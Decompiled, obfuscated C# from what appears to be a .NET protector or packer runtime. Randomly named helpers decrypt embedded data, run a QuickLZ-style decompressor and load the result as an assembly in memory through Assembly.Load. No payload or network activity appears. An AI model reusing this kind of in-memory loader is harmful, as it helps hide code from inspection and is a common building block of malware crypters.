internal static object \u0031q1Ytpay3HDTvk0H9h([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void d5bSH3LxyKFU3Kg4tt([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object LKX4l47Yoj2lWp0hqh([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void t9BlppiIr5xtEoYSCx([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void wgwDwA8ohM5msjfHGT([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object BmkCyFHHIL76VHldY6([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void UAiUy9DbJPvrtDfaYG([In] object obj0) => ((Stream) obj0).Close();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void EdMogJK23C5V2STpQS([In] object obj0) => ((BinaryReader) obj0).Close();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object qiaGIPMaalUqZ3sMZf([In] object obj0) => (object) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg((byte[]) obj0);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object ms7UFSxhLDM3n3ktTf([In] object obj0) => (object) Assembly.Load((byte[]) obj0);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object e8PiFxteCyHSGi0LgY([In] object obj0) => (object) ((Assembly) obj0).GetManifestResourceNames();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object WS6tAn0RW8Hurp1Xwj([In] object obj0) => (object) ((ResolveEventArgs) obj0).Name;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static bool tRIQC2fXT7g74mWlkL([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static bool GTJgvmVEjrh4CCn7N6() => true;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static bool \u0035nPOsTBkhnyaq7ApAB() => false;
|
|
|
|
private enum fFQvZdvdBStoltwFwV
|
|
{
|
|
}
|
|
|
|
internal class P65q5rcw0MukklQaVB
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe uint Uj1VGPQhn([In] void* obj0, [In] uint obj1)
|
|
{
|
|
uint num = 0;
|
|
if (BitConverter.IsLittleEndian)
|
|
{
|
|
num = *(uint*) obj0;
|
|
}
|
|
else
|
|
{
|
|
byte* numPtr = (byte*) obj0;
|
|
switch (obj1)
|
|
{
|
|
case 1:
|
|
num = (uint) *numPtr;
|
|
break;
|
|
case 2:
|
|
num = (uint) *numPtr | (uint) numPtr[1] << 8;
|
|
break;
|
|
case 3:
|
|
num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16);
|
|
break;
|
|
case 4:
|
|
num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16 | (int) numPtr[3] << 24);
|
|
break;
|
|
}
|
|
}
|
|
return num;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe void reWBsatke([In] uint obj0, [In] void* obj1, [In] uint obj2)
|
|
{
|
|
if (BitConverter.IsLittleEndian)
|
|
{
|
|
switch (obj2)
|
|
{
|
|
case 1:
|
|
*(sbyte*) obj1 = (sbyte) (byte) obj0;
|
|
break;
|
|
case 2:
|
|
case 3:
|
|
case 4:
|
|
*(int*) obj1 = (int) obj0;
|
|
break;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
byte* numPtr = (byte*) obj1;
|
|
switch (obj2)
|
|
{
|
|
case 1:
|
|
*numPtr = (byte) obj0;
|
|
break;
|
|
case 2:
|
|
*numPtr = (byte) obj0;
|
|
numPtr[1] = (byte) (obj0 >> 8);
|
|
break;
|
|
case 3:
|
|
*numPtr = (byte) obj0;
|
|
numPtr[1] = (byte) (obj0 >> 8);
|
|
numPtr[2] = (byte) (obj0 >> 16);
|
|
break;
|
|
case 4:
|
|
*numPtr = (byte) obj0;
|
|
numPtr[1] = (byte) (obj0 >> 8);
|
|
numPtr[2] = (byte) (obj0 >> 16);
|
|
numPtr[3] = (byte) (obj0 >> 24);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe bool \u0039ML9lo6tT([In] void* obj0, [In] void* obj1, [In] uint obj2)
|
|
{
|
|
bool flag = true;
|
|
for (uint index = 0; flag && index < obj2; ++index)
|
|
flag = (int) *(byte*) ((IntPtr) obj0 + (int) index) == (int) *(byte*) ((IntPtr) obj1 + (int) index);
|
|
return flag;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe bool fTu8VEKSg([In] void* obj0, [In] string obj1)
|
|
{
|
|
byte[] bytes = Encoding.ASCII.GetBytes(obj1);
|
|
fixed (byte* numPtr = bytes)
|
|
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039ML9lo6tT(obj0, (void*) numPtr, (uint) bytes.Length);
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe void HnbvO3JPm([In] void* obj0, [In] byte obj1, [In] uint obj2)
|
|
{
|
|
for (uint index = 0; index < obj2; ++index)
|
|
*(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) obj1;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe void \u0031aAAcYcfl([In] void* obj0, [In] void* obj1, [In] uint obj2)
|
|
{
|
|
for (uint index = 0; index < obj2; ++index)
|
|
*(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) *(byte*) ((IntPtr) obj1 + (int) index);
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe void \u0039igTocIex([In] void* obj0, [In] string obj1)
|
|
{
|
|
byte[] bytes = Encoding.ASCII.GetBytes(obj1);
|
|
fixed (byte* numPtr = bytes)
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl(obj0, (void*) numPtr, (uint) bytes.Length);
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe void pnx70C29O([In] byte* obj0, [In] byte* obj1, [In] uint obj2)
|
|
{
|
|
if (BitConverter.IsLittleEndian)
|
|
{
|
|
if (obj2 < 5U)
|
|
{
|
|
*(int*) obj0 = (int) *(uint*) obj1;
|
|
}
|
|
else
|
|
{
|
|
byte* numPtr = obj0 + (int) obj2;
|
|
while (obj0 < numPtr)
|
|
{
|
|
*(int*) obj0 = (int) *(uint*) obj1;
|
|
obj0 += 4;
|
|
obj1 += 4;
|
|
}
|
|
}
|
|
}
|
|
else if (obj2 > 8U && obj1 + (int) obj2 < obj0)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) obj0, (void*) obj1, obj2);
|
|
}
|
|
else
|
|
{
|
|
byte* numPtr = obj0 + (int) obj2;
|
|
while (obj0 < numPtr)
|
|
{
|
|
*obj0 = *obj1;
|
|
++obj0;
|
|
++obj1;
|
|
}
|
|
}
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe uint UM3hfdlP3(
|
|
[In] byte[] obj0,
|
|
[In] uint obj1,
|
|
[In] YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV obj2)
|
|
{
|
|
uint num = 0;
|
|
fixed (byte* numPtr = obj0)
|
|
{
|
|
if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr + (int) obj1), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1220)))
|
|
num = *(uint*) (numPtr + (int) obj1 + ((IntPtr) obj2 * 4).ToInt64());
|
|
}
|
|
return num;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static uint yGrGFt2Ng([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, 0U, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 2);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static uint \u0034J3iGuO2D([In] byte[] obj0, [In] uint obj1) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, obj1, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 3);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe uint YPoCMoGHZ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2, [In] uint obj3)
|
|
{
|
|
fixed (byte* numPtr1 = obj0)
|
|
fixed (byte* numPtr2 = obj2)
|
|
{
|
|
byte* numPtr3 = numPtr1 + (int) obj1;
|
|
uint num1 = 32;
|
|
byte* numPtr4 = numPtr3 + (int) obj3 - 1;
|
|
byte* numPtr5 = numPtr3 + 1;
|
|
byte** numPtr6 = (byte**) (numPtr2 + (int) obj3 + 36000 - ((IntPtr) sizeof (byte*) * 4096).ToInt64() - (long) (numPtr2 + (int) obj3) % 8L);
|
|
byte* numPtr7 = numPtr2 + (int) num1;
|
|
byte* numPtr8 = numPtr2 + (int) num1 + 4 + 1;
|
|
byte* numPtr9 = numPtr8;
|
|
byte* numPtr10 = numPtr5;
|
|
uint num2 = 1073741824;
|
|
uint* numPtr11 = (uint*) numPtr2;
|
|
byte* numPtr12 = numPtr4 - 16;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) numPtr11, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1232));
|
|
numPtr2[0] = (byte) 81;
|
|
numPtr2[1] = (byte) 67;
|
|
numPtr2[2] = (byte) 76;
|
|
numPtr2[3] = (byte) 90;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(3U, (void*) (numPtr11 + 1), 4U);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(obj3, (void*) (numPtr11 + 3), 4U);
|
|
for (uint index = 0; index < 4096U; ++index)
|
|
*(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) index * (long) sizeof (byte*))) = (IntPtr) numPtr3;
|
|
(numPtr2 + (int) num1)[4] = *numPtr3;
|
|
while (numPtr5 < numPtr12 - 2050)
|
|
{
|
|
if (((int) num2 & 1) == 1)
|
|
{
|
|
if (numPtr8 + 2050 + 128 > numPtr2 + (int) obj3 + 2050 + 256)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) (numPtr2 + (int) num1), (void*) numPtr3, obj3);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(0U, (void*) (numPtr11 + 4), 4U);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) obj3 + (int) num1 + 4), (void*) (numPtr11 + 2), 4U);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1244));
|
|
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U);
|
|
}
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (num2 >> 1) | 18446744071562067968UL), (void*) numPtr7, 4U);
|
|
numPtr7 = numPtr8;
|
|
numPtr8 += 4;
|
|
num2 = 2147483648U;
|
|
if (numPtr8 - numPtr9 > numPtr5 - numPtr10 && numPtr5 + 4100 < numPtr12)
|
|
{
|
|
for (; numPtr5 < numPtr10 + 2050 - 32; numPtr5 += 31)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(2147483648U, (void*) (numPtr8 - 4), 4U);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr8, numPtr5, 31U);
|
|
numPtr8 += 35;
|
|
}
|
|
numPtr10 = numPtr5;
|
|
numPtr9 = numPtr8;
|
|
numPtr7 = numPtr8 - 4;
|
|
}
|
|
}
|
|
if ((int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr5 + 1), 4U))
|
|
{
|
|
uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U);
|
|
byte* numPtr13 = numPtr5;
|
|
numPtr5 += 5;
|
|
while ((int) num3 == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) && numPtr5 < numPtr13 + 2050 - 4)
|
|
numPtr5 += 4;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) (((int) num3 & (int) byte.MaxValue) << 16 | (int) (uint) ((ulong) (numPtr5 - numPtr13) << 4) | 15), (void*) numPtr8, 4U);
|
|
numPtr8 += 3;
|
|
num2 = num2 >> 1 | 2147483648U;
|
|
}
|
|
else
|
|
{
|
|
uint num4 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U);
|
|
uint num5 = (uint) (((int) (num4 >> 12) ^ (int) num4) & 4095);
|
|
byte* numPtr14 = (byte*) *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*)));
|
|
*(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*))) = (IntPtr) numPtr5;
|
|
if (!BitConverter.IsLittleEndian ? numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (int) *numPtr5 == (int) *numPtr14 && (int) numPtr5[1] == (int) numPtr14[1] && (int) numPtr5[2] == (int) numPtr14[2] : numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (((int) *(uint*) numPtr14 ^ (int) *(uint*) numPtr5) & 16777215) == 0)
|
|
{
|
|
uint num6 = (uint) (numPtr5 - numPtr14);
|
|
if (!BitConverter.IsLittleEndian ? (int) numPtr14[3] != (int) numPtr5[3] : (int) *(uint*) numPtr14 != (int) *(uint*) numPtr5)
|
|
{
|
|
if (num6 <= 63U)
|
|
{
|
|
*numPtr8 = (byte) (num6 << 2);
|
|
++numPtr8;
|
|
num2 = num2 >> 1 | 2147483648U;
|
|
numPtr5 += 3;
|
|
}
|
|
else if (num6 <= 16383U)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) num6 << 2 | 1), (void*) numPtr8, 2U);
|
|
numPtr8 += 2;
|
|
num2 = num2 >> 1 | 2147483648U;
|
|
numPtr5 += 3;
|
|
}
|
|
else
|
|
{
|
|
*numPtr8 = *numPtr5;
|
|
++numPtr8;
|
|
++numPtr5;
|
|
num2 >>= 1;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
num2 = num2 >> 1 | 2147483648U;
|
|
uint index = 3;
|
|
while ((int) numPtr14[(int) index] == (int) numPtr5[(int) index] && index < 2050U)
|
|
++index;
|
|
numPtr5 += (int) index;
|
|
if (index <= 18U && num6 <= 1023U)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 2 | (int) num6 << 6 | 2), (void*) numPtr8, 2U);
|
|
numPtr8 += 2;
|
|
}
|
|
else if (index <= 34U && num6 <= (uint) ushort.MaxValue)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 3 | (int) num6 << 8 | 3), (void*) numPtr8, 3U);
|
|
numPtr8 += 3;
|
|
}
|
|
else if (index >= 3U)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 4 | (int) num6 << 15 | 7), (void*) numPtr8, 4U);
|
|
numPtr8 += 4;
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
*numPtr8 = *numPtr5;
|
|
++numPtr8;
|
|
++numPtr5;
|
|
num2 >>= 1;
|
|
}
|
|
}
|
|
}
|
|
while (numPtr5 <= numPtr4)
|
|
{
|
|
if (((int) num2 & 1) == 1)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U);
|
|
numPtr7 = numPtr8;
|
|
numPtr8 += 4;
|
|
num2 = 2147483648U;
|
|
}
|
|
*numPtr8 = *numPtr5;
|
|
++numPtr8;
|
|
++numPtr5;
|
|
num2 >>= 1;
|
|
}
|
|
while (((int) num2 & 1) != 1)
|
|
num2 >>= 1;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U);
|
|
byte* numPtr15 = numPtr8 + 4;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(1U, (void*) (numPtr11 + 4), 4U);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (numPtr15 - numPtr2) - 1UL + 4UL), (void*) (numPtr11 + 2), 4U);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1256));
|
|
}
|
|
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.yGrGFt2Ng(obj2);
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static unsafe uint oEv1kgedQ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2)
|
|
{
|
|
fixed (byte* numPtr1 = obj0)
|
|
fixed (byte* numPtr2 = obj2)
|
|
{
|
|
byte* numPtr3 = numPtr1 + (int) obj1;
|
|
uint num1 = 32;
|
|
byte* numPtr4 = numPtr3 + (int) num1;
|
|
byte* numPtr5 = numPtr2;
|
|
uint* numPtr6 = (uint*) numPtr3;
|
|
byte* numPtr7 = numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U);
|
|
uint num2 = 1;
|
|
uint[] numArray = new uint[16]
|
|
{
|
|
4U,
|
|
0U,
|
|
1U,
|
|
0U,
|
|
2U,
|
|
0U,
|
|
1U,
|
|
0U,
|
|
3U,
|
|
0U,
|
|
1U,
|
|
0U,
|
|
2U,
|
|
0U,
|
|
1U,
|
|
0U
|
|
};
|
|
byte* numPtr8 = numPtr7 - 4;
|
|
if (!YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) numPtr6, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1268)) || YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 1), 4U) != 3U || !YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr3 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1280)))
|
|
return 0;
|
|
if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 4), 4U) != 1U)
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) numPtr2, (void*) (numPtr3 + (int) num1), YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U));
|
|
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U);
|
|
}
|
|
if (numPtr5 >= numPtr8)
|
|
{
|
|
byte* numPtr9 = numPtr4 + 4;
|
|
while (numPtr5 < numPtr7)
|
|
{
|
|
*numPtr5 = *numPtr9;
|
|
++numPtr5;
|
|
++numPtr9;
|
|
}
|
|
return (uint) (numPtr5 - numPtr2);
|
|
}
|
|
do
|
|
{
|
|
if (num2 == 1U)
|
|
{
|
|
num2 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U);
|
|
numPtr4 += 4;
|
|
}
|
|
uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U);
|
|
if (((int) num2 & 1) == 1)
|
|
{
|
|
num2 >>= 1;
|
|
if (((int) num3 & 3) == 0)
|
|
{
|
|
uint num4 = (num3 & (uint) byte.MaxValue) >> 2;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num4, 3U);
|
|
numPtr5 += 3;
|
|
++numPtr4;
|
|
}
|
|
else if (((int) num3 & 2) == 0)
|
|
{
|
|
uint num5 = (num3 & (uint) ushort.MaxValue) >> 2;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num5, 3U);
|
|
numPtr5 += 3;
|
|
numPtr4 += 2;
|
|
}
|
|
else if (((int) num3 & 1) == 0)
|
|
{
|
|
uint num6 = (num3 & (uint) ushort.MaxValue) >> 6;
|
|
uint num7 = (uint) (((int) (num3 >> 2) & 15) + 3);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num6, num7);
|
|
numPtr5 += (int) num7;
|
|
numPtr4 += 2;
|
|
}
|
|
else if (((int) num3 & 4) == 0)
|
|
{
|
|
uint num8 = (num3 & 16777215U) >> 8;
|
|
uint num9 = (uint) (((int) (num3 >> 3) & 31) + 3);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num8, num9);
|
|
numPtr5 += (int) num9;
|
|
numPtr4 += 3;
|
|
}
|
|
else if (((int) num3 & 8) == 0)
|
|
{
|
|
uint num10 = num3 >> 15;
|
|
uint num11 = (uint) (((int) (num3 >> 4) & 2047) + 3);
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num10, num11);
|
|
numPtr5 += (int) num11;
|
|
numPtr4 += 4;
|
|
}
|
|
else
|
|
{
|
|
byte num12 = (byte) (num3 >> 16);
|
|
uint num13 = num3 >> 4 & 4095U;
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.HnbvO3JPm((void*) numPtr5, num12, num13);
|
|
numPtr5 += (int) num13;
|
|
numPtr4 += 3;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr4, 4U);
|
|
numPtr5 += (int) numArray[(IntPtr) (num2 & 15U)];
|
|
numPtr4 += (int) numArray[(IntPtr) (num2 & 15U)];
|
|
num2 >>= (int) (byte) numArray[(IntPtr) (num2 & 15U)];
|
|
}
|
|
}
|
|
while (numPtr5 < numPtr8);
|
|
while (numPtr5 < numPtr7)
|
|
{
|
|
if (num2 == 1U)
|
|
{
|
|
numPtr4 += 4;
|
|
num2 = 2147483648U;
|
|
}
|
|
*numPtr5 = *numPtr4;
|
|
++numPtr5;
|
|
++numPtr4;
|
|
num2 >>= 1;
|
|
}
|
|
return (uint) (numPtr5 - numPtr2);
|
|
}
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static byte[] \u0033REZxwYE8([In] string obj0)
|
|
{
|
|
byte[] buffer = (byte[]) null;
|
|
FileStream fileStream = File.Open(obj0, FileMode.Open, FileAccess.Read, FileShare.Read);
|
|
try
|
|
{
|
|
buffer = new byte[fileStream.Length];
|
|
fileStream.Read(buffer, 0, buffer.Length);
|
|
}
|
|
finally
|
|
{
|
|
fileStream.Close();
|
|
}
|
|
return buffer;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static byte[] B1Cp1eERm([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.DeWUrFjAC(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0));
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static byte[] bhFIRp8Sr([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0));
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static byte[] DeWUrFjAC([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.gapYO5dWO(obj0, 0U, Convert.ToUInt32(obj0.Length));
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static byte[] PMFLr6jcg([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039fUblSrWA(obj0, 0U);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static byte[] gapYO5dWO([In] byte[] obj0, [In] uint obj1, [In] uint obj2)
|
|
{
|
|
byte[] numArray1 = new byte[(IntPtr) (obj2 + 36000U)];
|
|
uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.YPoCMoGHZ(obj0, obj1, numArray1, obj2);
|
|
byte[] numArray2 = new byte[(IntPtr) length];
|
|
for (uint index = 0; index < length; ++index)
|
|
numArray2[(IntPtr) index] = numArray1[(IntPtr) index];
|
|
return numArray2;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public static byte[] \u0039fUblSrWA([In] byte[] obj0, [In] uint obj1)
|
|
{
|
|
uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0034J3iGuO2D(obj0, obj1);
|
|
byte[] numArray = (byte[]) null;
|
|
if (length != 0U)
|
|
{
|
|
numArray = new byte[(IntPtr) length];
|
|
int num = (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.oEv1kgedQ(obj0, obj1, numArray);
|
|
}
|
|
return numArray;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public P65q5rcw0MukklQaVB()
|
|
{
|
|
qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR();
|
|
// ISSUE: explicit constructor call
|
|
base.\u002Ector();
|
|
}
|
|
}
|
|
}
|
|
}
|